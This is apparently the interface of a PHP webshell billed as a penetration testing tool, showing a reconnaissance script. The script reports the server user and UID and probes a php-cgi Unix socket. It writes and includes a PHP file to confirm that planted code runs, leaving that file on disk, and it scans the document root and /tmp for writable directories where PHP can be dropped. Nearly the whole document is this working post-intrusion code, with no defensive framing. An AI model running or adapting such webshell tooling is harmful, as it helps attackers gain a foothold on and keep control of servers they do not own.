🔓 Ultimate Webshell - Penetration Testing Tool

📖 File Reader

<?php
error_reporting(E_ALL);
ini_set('display_errors',1);

echo "===== BASIC EXECUTION TEST =====\n";
echo "PHP running correctly\n";
echo "User: ".get_current_user()."\n";
echo "UID: ".(function_exists('posix_getuid')?posix_getuid():'N/A')."\n\n";


echo "===== SOCKET REACHABILITY TEST =====\n";

$socket="/tmp/php-cgi-73.sock";

if(file_exists($socket)){
    echo "Socket found: $socket\n";

    $conn=@stream_socket_client("unix://".$socket,$errno,$errstr,2);

    if($conn){
        echo "Socket connection: SUCCESS\n";
        fclose($conn);
    }else{
        echo "Socket connection: FAILED ($errstr)\n";
    }
}else{
    echo "Socket not found\n";
}


echo "\n===== FILE WRITE TEST =====\n";

$testfile="test_exec_".time().".php";
$payload='<?php echo "FILE_EXECUTION_WORKS"; ?>';

if(file_put_contents($testfile,$payload)){
    echo "File written: $testfile\n";
}else{
    echo "File write failed\n";
}


echo "\n===== INCLUDE EXECUTION TEST =====\n";

if(file_exists($testfile)){
    ob_start();
    include $testfile;
    $out=ob_get_clean();

    if(strpos($out,"FILE_EXECUTION_WORKS")!==false){
        echo "PHP execution from created file: SUCCESS\n";
    }else{
        echo "PHP execution from created file: FAILED\n";
    }
}


echo "\n===== DIRECTORY EXECUTION TEST =====\n";

$dirs=[
".",
dirname(__FILE__),
$_SERVER['DOCUMENT_ROOT'] ?? '.',
"/tmp"
];

foreach($dirs as $d){

    if(is_dir($d) && is_writable($d)){

        $f=$d."/exec_test_".rand(1000,9999).".php";

        $code='<?php echo "EXEC_OK"; ?>';

        if(@file_put_contents($f,$code)){
            echo "Writable directory: $d\n";
            unlink($f);
        }
    }
}

echo "\n===== TEST COMPLETE =====\n";
?>